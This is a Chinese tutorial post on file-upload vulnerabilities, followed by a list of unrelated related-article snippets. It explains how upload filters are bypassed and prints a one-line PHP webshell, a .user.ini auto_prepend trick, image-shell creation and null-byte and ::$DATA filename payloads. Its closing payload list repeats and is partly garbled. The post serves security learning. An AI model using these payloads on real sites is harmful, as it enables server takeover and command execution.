文件上传基础篇

文件上传基础篇

文件上传漏洞原理

​ 目标网站存在文件上传接口,但是对用户上传的文件没有做仔细甄别,导致黑客可以根据此功能点直接上传木马到网站服务器,造成危害

文件上传存在点

​ 通常有头像上传,pdf上传

文件上传防护

​ 前后端同时验证文件后缀,黑白名单,校验文件头,校验文件内容,校验mime,二次渲染

文件上传绕过防护

前端校验:直接警用js或者修改js代码,也可以使用burp抓包修改文件名

文件头校验:常见于图片上传点,服务器会检测文件类型的文件头

常见文件头

JPEG (jpg),                         文件头:FFD8FF               文件尾:FF D9               
PNG (png),                         文件头:89504E47              文件尾:AE 42 60 82
GIF (gif),                           文件头:47494638              文件尾:00 3B                                                                 ZIP Archive (zip),                     文件头:504B0304                      文件尾:50 4B

TIFF (tif),                              文件头:49492A00                      文件尾:
Windows Bitmap (bmp),         文件头:424D                         文件尾:
CAD (dwg),                           文件头:41433130                      文件尾:
Adobe Photoshop (psd),          文件头:38425053                      文件尾:
Rich Text Format (rtf),             文件头:7B5C727466                      文件尾:
XML (xml),                              文件头:3C3F786D6C                     文件尾:
HTML (html),                           文件头:68746D6C3E
Email [thorough only] (eml),     文件头:44656C69766572792D646174653A
Outlook Express (dbx),            文件头:CFAD12FEC5FD746F
Outlook (pst),                         文件头:2142444E
MS Word/Excel (xls.or.doc),      文件头:D0CF11E0
MS Access (mdb),                    文件头:5374616E64617264204A
WordPerfect (wpd),                  文件头:FF575043
Adobe Acrobat (pdf),               文件头:255044462D312E
Quicken (qdf),                         文件头:AC9EBD8F
Windows Password (pwl),         文件头:E3828596

RAR Archive (rar),                    文件头:52617221
Wave (wav),                            文件头:57415645
AVI (avi),                                 文件头:41564920
Real Audio (ram),                     文件头:2E7261FD
Real Media (rm),                       文件头:2E524D46
MPEG (mpg),                           文件头:000001BA
MPEG (mpg),                           文件头:000001B3
Quicktime (mov),                     文件头:6D6F6F76
Windows Media (asf),               文件头:3026B2758E66CF11
MIDI (mid),                        文件头:4D546864

MIME校验:即http数据包中的Content-Type字段,直接用burp抓包修改此字段

二次渲染:上传的文件被服务器端修改了,常见于头像上传

(1)上传gif图片:先将普通的gif图片上传,会被渲染,渲染之后再下载下来,与原git图片对比,找到渲染前后没有变化的位置,然后在这些位置插入一句话木马,再上传即可。

(2)上传jpg图片:这两种格式图片的二次渲染绕过要难很多很多:(索引类型图,写入 PLTE 数据块或写入IDAT数据块),jpg(成功性不大)

条件竞争:当文件上传后会短暂存在然后被删除时,利用短时间大量高并发不停写入文件,文件作用为生成木马文件,当服务器未来得及删除文件时,成功创建木马文件

黑名单:限制一些文件后缀例如(exe,php,jsp,asp等)

上传特殊可解析后缀
asp|asa|cer|cdx
aspx|ascx|ashx|asax|asac
php|php2|php3|php4|php5|asis|htaccess|.user.ini|phtm|phtml、pht(是否解析需要根据配置文件中设置类型来决定)
jsp|jspx|jspf
htm|html|shtml|pwml|js
vbs|asis|sh|reg|cgi|exe|dll|com|bat|pl|cfc|cfm|ini
上传.htaccess
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过 .htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在 httpd.conf 文件中配置。

 .htaccess 文件生效前提条件为:
mod_rewrite 模块开启
AllowOverride All
上传.user.ini文件
原理:
1、.user.ini 有点像.htaccess,php运行时,会检索加载所有目录下的.ini配置文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。
2、.user.ini是一个能被动态加载的ini文件,这点和php.ini不同。也就是说修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。
利用:
上传.user.ini
auto_prepend_file=1.gif	# 要访问的文件加载之前加载,
或者
auto_append_file=1.gif	# 要访问的文件加载之后加载

上传一个包含webshell代码的1.gif
GIF98A <?php eval($_REQUEST['a']);?>

访问本目录下任意文件附带参数?a=xxx 就可以实现命令执行
?a=phpinfo(); ?a=system('whoami');

白名单:只允许规定文件后缀上传,常见头像上传(限制只能为gif,png,jpg后缀上传)

图片马结合文件包含漏洞,将恶意代码放在图片马中
生成图片马:
制作方法: copy 1.jpg/b + 1.php/a 2.jpg      b表示二进制文件  a表示ASCII文件

也可以使用edjpgcom.exe工具

然后结合文件包含漏洞利用
配合解析漏洞
IIS:
目录解析漏洞(/test.asp/1.jps)
文件名解析漏洞(test.asp;.jpg)
畸形解析漏洞(test.jpg/*.php)

Nginx:
畸形解析漏洞(test.jpg/*.php)
%00空字节代码解析漏洞
CVE-2013-4547(%20%00)

Apache:
文件名解析漏洞(test.php.owf.xdx)

利用NTFS ADS特性

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

其他
点绕过、空格绕过、后缀双写绕过、后缀大小写绕过、%00绕过、0x00绕过

GET:
shell.php%00.jpg
POST:
(hex里面改)
shell.php%20%00.jpg
shell.php.
shell.php. .
00截断、MIME、点、空格、点空格点、::$DATA
shell.php::$DATA
shell.php 
shell.php.
shell.php. .
GET:
shell.php%00.jpg
POST:
(hex里面改)
shell.php%20%00.jpg

.
shell.php. .
00截断、MIME、点、空格、点空格点、:: D A T A s h e l l . p h p : : DATA shell.php:: DATAshell.php::DATA
shell.php
shell.php.
shell.php. .
GET:
shell.php%00.jpg
POST:
(hex里面改)
shell.php%20%00.jpg


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/470024.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Word为图表设置图注并在图表清单中自动生成

1如果需要自动插入题注&#xff0c;请不要自己为文件增加新的标题样式或删除自带的标题1样式 2章节大标题最好是标题1&#xff0c;2,3而不要设置标题一、二、三&#xff0c;否则图例在自动生成时会显示 图一 -1&#xff0c;调整起来会非常不方便 若实在要使用大写中文标题&…

【隐私计算实训营-001数据可信流通,从运维信任到技术信任】

1. 数据可信流通体系 信任的基石&#xff1a; 身份的可确认利益可依赖能力有预期行为有后果 2.内循环——>外循环 内循环&#xff1a;数据持有方在自己的运维安全域内队自己的数据使用和安全拥有全责。 外循环&#xff1a;数据要素在离开持有方安全域后&#xff0c;持有方…

FX-数组的使用

1一维数组 1.1一维数组的创建和初始化 1.1.1数组的创建 //代码1 int arr1[10]; char arr2[10]; float arr3[1]; double arr4[20]; //代码2 //用宏定义的方式 #define X 3 int arr5[X]; //代码3 //错误使用 int count 10; int arr6[count];//数组时候可以正常创建&#xff1…

【Linux】进程排队的理解进程状态的表述僵尸进程和孤儿进程的理解

一、进程排队的理解 进程不是一直运行的&#xff0c;进程可能会在等待某种软硬件资源。即使把进程加载到CPU中&#xff0c;也不是一直会运行的。而进程排队&#xff0c;一定是在等待某种软硬件资源&#xff08;可以是CPU&#xff0c;键盘&#xff0c;磁盘&#xff0c;网卡等等设…

Android Studio实现内容丰富的安卓图书馆座位图书预约系统

获取源码请点击文章末尾QQ名片联系&#xff0c;源码不免费&#xff0c;尊重创作&#xff0c;尊重劳动 项目编号109 1.开发环境android stuido jdk1.8 eclipse mysql tomcat 2.功能介绍 安卓端&#xff1a; 1.注册登录 2.查看公告 3.查看图书馆座位 4.查看图书馆图书&#xff0c…

k8s详细教程

Kubernetes详细教程 1. Kubernetes介绍 1.1 应用部署方式演变 在部署应用程序的方式上&#xff0c;主要经历了三个时代&#xff1a; 传统部署&#xff1a;互联网早期&#xff0c;会直接将应用程序部署在物理机上 优点&#xff1a;简单&#xff0c;不需要其它技术的参与 缺点…

《1w实盘and大盘基金预测 day7》

昨日预测有点差劲&#xff0c;最低点也相差五个点。 打分C 公众号&#xff1a;JavaHelmet 昨天预测&#xff1a; 3052-3062-3076-3115 3067是趋势线&#xff0c;有回踩需求 5-30-60分钟级别顶钝 大盘冲到标红的点位3115或者3100就需注意。不要随意追高&#xff08;最高309…

第四百一十一回

文章目录 1. 概念介绍2. 思路与方法2.1 实现思路2.2 实现方法 3. 示例代码4. 内容总结 我们在上一章回中介绍了"给geolocator插件提交问题的结果"相关的内容&#xff0c;本章回中将介绍自定义标题栏.闲话休提&#xff0c;让我们一起Talk Flutter吧。 1. 概念介绍 我…

蓝桥杯备赛_python_DFS搜索算法_刷题学习笔记

1.是什么 沿着一条路径一直搜索下去&#xff0c;在无法搜索时&#xff0c;回退到刚刚访问过的节点。并且每个节点只能访问一次。本质上是持续搜索&#xff0c;遍历了所有可能的情况&#xff0c;必然能得到解。 流程是一个树的形式&#xff0c;每次一条路走到黑。 目的主要是达到…

哈尔滨工业大学 《材料物理》 笔记-3

原内容请参考哈尔滨工业大学何飞教授&#xff1a;https://www.bilibili.com/video/BV18b4y1Y7wd/?p12&spm_id_frompageDriver&vd_source61654d4a6e8d7941436149dd99026962 或《材料物理性能及其在材料研究中的应用》&#xff08;哈尔滨工业大学出版社&#xff09; 量…

杨氏矩阵的查找(复杂度<O(N))

题目&#xff1a; 解释&#xff1a;时间复杂度小于O(N)即不要一个一个的去遍历查找。 思路&#xff1a; 一个33的二维数组如图所示&#xff1a; 一&#xff1a;先找到一个最关键的数字&#xff0c;3&#xff08;下标为0,2&#xff09; 关键数的关键之处在于&#xff08;处于…

【Unity】从0到1的横版2d制作笔记-DAY1

写在前面&#xff1a; 感谢旻子提供的Unity2d课程捏&#xff0c;红豆泥阿里嘎多 创建项目 测试Visual Studio的使用 右键选择【create】&#xff0c;右键创建C# Script&#xff0c;待文件创建完毕后双击查看能否正确跳转。 正确跳转的结果是能看见代码中注释标注有&#xff1a;…

15届蓝桥杯第二期模拟赛所有题目解析

文章目录 &#x1f9e1;&#x1f9e1;t1_求余&#x1f9e1;&#x1f9e1;思路代码 &#x1f9e1;&#x1f9e1;t2_灌水&#x1f9e1;&#x1f9e1;思路代码 &#x1f9e1;&#x1f9e1;t3_字符显示&#x1f9e1;&#x1f9e1;思路代码 &#x1f9e1;&#x1f9e1;t4_区间最大和…

(56)删除每行中的最大值

文章目录 1. 每日一言2. 题目3. 解题思路4. 代码5. 结语 1. 每日一言 抱怨过去发生的一切&#xff0c;就等于丧失了力量&#xff0c;白白浪费了往事要带给我们的成长。 2. 题目 题目链接&#xff1a;删除每行中的最大值 给你一个 m x n 大小的矩阵 grid &#xff0c;由若干正…

线程工具类与原子类

参考文档&#xff1a; CountDownLatch、CyclicBarrier、Semaphore的用法和区别juc15_基本AtomicInteger、数组、引用AtomicStampedReference、对象的属性修改原子类 AtomicIntegerFieldUp 、原子操作增强类LongAdder 辅助工具类 CountDownLatch(闭锁) 做减法 允许一个或多个…

c语言文件操作(2)

1.文件的随机读写&#xff1a; fseek函数 int fseek ( FILE * stream, long int offset, int origin ); fseek函数是根据文件指针的位置和偏移量来定位文件指针。 其中&#xff0c;origin所含的参数&#xff1a; seek_set&#xff1a;文件开头 seek_cur&#xff1a;文件指…

DFS-重复覆盖模型

糖果 1243. 糖果 - AcWing题库 首先是最暴力的做法&#xff0c;我们枚举所有的选法&#xff0c;当某种选法可以尝到所有口味的糖果时&#xff0c;比较当前购买的糖果数和当前的res&#xff0c;迭代出res的最小值。这样进行搜索的话&#xff0c;最极端的状态下树的深度是n&…

腾讯云服务器多少钱1个月?2024一个月收费阿济格IE吧

2024腾讯云服务器多少钱一个月&#xff1f;5元1个月起&#xff0c;腾讯云轻量服务器4核16G12M带宽32元1个月、96元3个月&#xff0c;8核32G22M配置115元一个月、345元3个月&#xff0c;腾讯云轻量应用服务器61元一年折合5元一个月、4核8G12M配置646元15个月、2核4G5M服务器165元…

easyrecovery15易恢复中文绿色版 数据恢复软件易恢复 Ontrack EasyRecovery汉化破解版下载 易恢复软件免费版

易恢复 Ontrack EasyRecovery 由世界著名数据恢复公司 Ontrack 出品的威力非常强大的硬盘数据恢复软件。EasyRecovery 15破解版具备强大的磁盘诊断、数据恢复、文件修复功能。Ontrack EasyRecovery 能够帮你恢复由于误操作删除的&#xff0c;或者说格式化选成丢失的数据以及重建…

ASP .Net Core ILogger日志服务

&#x1f433;简介 ILogger日志服务是.NET平台中的一个内置服务&#xff0c;主要用于应用程序的日志记录。它提供了灵活的日志记录机制&#xff0c;允许开发者在应用程序中轻松地添加日志功能。以下是其主要特点和组件&#xff1a; ILogger接口&#xff1a;这是ILogger日志服…